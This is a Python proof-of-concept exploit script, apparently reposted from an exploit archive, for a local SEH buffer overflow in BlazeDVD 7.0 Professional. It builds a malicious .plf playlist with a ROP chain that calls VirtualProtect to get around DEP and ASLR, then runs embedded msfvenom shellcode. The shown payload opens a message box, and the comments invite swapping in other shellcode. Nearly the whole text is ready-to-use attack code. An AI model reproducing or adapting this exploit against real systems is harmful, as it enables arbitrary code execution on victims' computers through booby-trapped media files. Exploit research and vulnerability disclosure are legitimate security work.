Share
## https://sploitus.com/exploit?id=PACKETSTORM:159001
## Title: BlazeDVD 7.0 Professional - '.plf' Local Buffer Overflow (SEH,ASLR,DEP)  
## Author: emalp  
## Date: 2020-08-31  
## Vendor Homepage: http://www.blazevideo.com/  
## Software Link: http://www.blazevideo.com/download/BlazeDVDProSetup.exe  
## Version: 7.0.0.0  
## Tested on: Windows 7 Home Basic  
  
# Run this file  
# bfile.plf will be generated  
# In blazeDVD open playlist and select bfile.plf  
# a pop up box will appear with text 'emalp'  
  
## Change shellcode according to your needs  
## Shellcode max size is aroung 700 bytes.  
  
# bad chars:  
# \x00, \x0a, \x0b, \x1a  
  
import struct  
  
bfile = open('bfile.plf','w')  
  
buf = 'A'*84  
buf += struct.pack('<L', 0x60325143) # add esp, 0c; ret  
buf += 'AAAA' # ret 04 ting from sehandler  
buf += 'AAAA'*3 # bypassing 12 bytes i.e 0c  
buf += struct.pack('<L', 0x6402091b) # add esp, 200; ret  
buf += 'A'*500  
buf += 'BBBB' # nseh  
buf += struct.pack('<L', 0x640205b1) #sehandler; add esp, 4a0; ret 0x04  
  
#---------------------------------------------------------------------  
# this way we have a lot more space for shellcode.  
buf += 'AAAA'  
# esp lands here.  
#setting up the dynamic pointer for virtual protect  
buf += struct.pack('<L', 0x61640e32) # pop eax; retn.  
buf += struct.pack('<L', 0xffed06a4) # opp of 0012f95c; contains pointer to k32  
buf += struct.pack('<L', 0x603267d4) # neg eax, now eax contains 0012f95c  
buf += struct.pack('<L', 0x616306ed) # mov eax, dword ptr ds:[eax]  
# now eax has the kernel32.dll pointer  
buf += struct.pack('<L', 0x61640f09) # push eax, pop esi, ret 04  
buf += struct.pack('<L', 0x61640e32) # pop eax ret  
buf += 'XXXX' # ret 4 padding  
buf += struct.pack('<L', 0xffff675d) # neg to 98a3  
buf += struct.pack('<L', 0x603267d4) # neg eax; ret  
# right now eax = 98a3; esi = [0012f95c] = k32.dll val  
buf += struct.pack('<L', 0x6033dcc4) # xchg eax,ecx; xor al,60; ret   
buf += struct.pack('<L', 0x61644904) # mov eax,esi; pop esi; ret  
buf += 'XXXX' # pop esi padding  
buf += struct.pack('<L', 0x641045f4) # sub eax,ecx  
# now eax has the pointer to VirtualProtect  
#------------------------------------------------------------------------  
  
# SETTING THE REGISTERS FOR VIRTUALPROTECT PARAM  
# SETTING ESI  
buf += struct.pack('<L', 0x61640f09) # push eax, pop esi; ret 4  
# SETTING EBP  
buf += struct.pack('<L', 0x60327f8f) # pop ebp; ret  
buf += 'XXXX' # prev ret 4 padding  
buf += struct.pack('<L', 0x60349b63) # jmp esp  
# SETTING EBX  
buf += struct.pack('<L', 0x61629938) # pop eax; ret  
buf += struct.pack('<L', 0xfffffdff) # neg to 0x201  
buf += struct.pack('<L', 0x6033b16b) # neg eax; ret  
buf += struct.pack('<L', 0x61640124) # xchg eax,ebx  
# SETTING EDX  
buf += struct.pack('<L', 0x616310e8) # pop eax; ret  
buf += struct.pack('<L', 0xffffffc0) # neg of 0x40  
buf += struct.pack('<L', 0x6033b16b) # neg eax; retn  
buf += struct.pack('<L', 0x61608ba2) # xchg eax,edx  
# SETTING ECX  
buf += struct.pack('<L', 0x6404fbb9) # pop ecx; ret  
buf += struct.pack('<L', 0x1001524e) # writable location  
# SETTING EDI  
buf += struct.pack('<L', 0x6032b0b8) # pop edi; ret  
buf += struct.pack('<L', 0x6162e802) # retn (rop nop)  
# SETTING EAX  
buf += struct.pack('<L', 0x6162d638) # pop eax; retn  
buf += struct.pack('<L', 0x90909090) # nop  
# FINALLY PUSHAD  
buf += struct.pack('<L', 0x6033cd4a) # push ad  
  
buf += '\x90\x90\x90\x90'*4  
  
# shellcode generated using:  
# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="emalp"  
# -b '\x00\x0a\x0b\x1a'  
buf += (  
"\xbb\x42\xa8\xb5\x43\xda\xc7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"  
"\x41\x83\xc2\x04\x31\x5a\x0f\x03\x5a\x4d\x4a\x40\x9a\xba\x11"  
"\x72\x69\x18\xd2\xb4\x40\xd2\x6d\x86\xad\x76\x19\x99\x1d\xfd"  
"\x6b\x56\xd5\x77\x88\xed\xaf\x7f\x3b\x8f\x0f\xf4\x0d\x48\x1f"  
"\x12\x07\x5b\xc6\x23\x36\x64\x18\x43\x33\xf7\xff\xa7\xc8\x4d"  
"\x3c\x2c\x9a\x65\x44\x33\xc9\xfd\xfe\x2b\x86\x58\xdf\x4a\x73"  
"\xbf\x2b\x05\x08\x74\xdf\x94\xe0\x44\x20\xa7\x3c\x5a\x72\x43"  
"\x7c\xd7\x8c\x8a\xb2\x15\x92\xcb\xa6\xd2\xaf\xaf\x1c\x33\xa5"  
"\xae\xd6\x19\x61\x31\x02\xfb\xe2\x3d\x9f\x8f\xaf\x21\x1e\x7b"  
"\xc4\x5d\xab\x7a\x33\xd4\xef\x58\xdf\x87\x2c\x12\xd7\x6e\x67"  
"\xda\x0d\xf9\x45\xb5\x43\xb7\x47\xaa\x0e\xaf\xc7\xcd\x50\xd0"  
"\x71\x74\xab\x95\xfc\xaf\x51\x9a\x87\x4c\xb2\x0e\x60\xe2\x45"  
"\x51\x8f\x72\xfc\xa5\x18\xe9\x93\x95\x99\x99\x58\xe7\x37\x3e"  
"\xf7\x72\x3b\xdb\x75\x4c\x60\xab\x26\x88\x9c\x25\x30\x86\x5f"  
"\x60\xb9\xaf\x62\xdb\x7a\x07\xc0\x91\xc0\xd0\x19\x0e\x6b\x36"  
"\x7e\xb1\x74\x39\xe9\x22\xf3\x9d\xca\xd4\x62\x7a\x6e\x67\x0d"  
"\xc9\x15\x14\xbe\xe0\x0e\x52\x1c\x26\xbb\xea\x7e\x4e\xcb\xb4"  
"\xa0\xae\x43\x20\xcc\xcf\xff\x9b\xc7\x87\x4c\xf8\xd2\x1e\xad"  
"\x31\x0f\x72\x7d\x63\xfd\x8d\x51\xb2\xc1\x21\xad\xe0\xc9"  
)  
buf += '\x90\x90\x90\x90'*5  
  
buf += 'E'*200  
  
bfile.write(buf)  
bfile.close()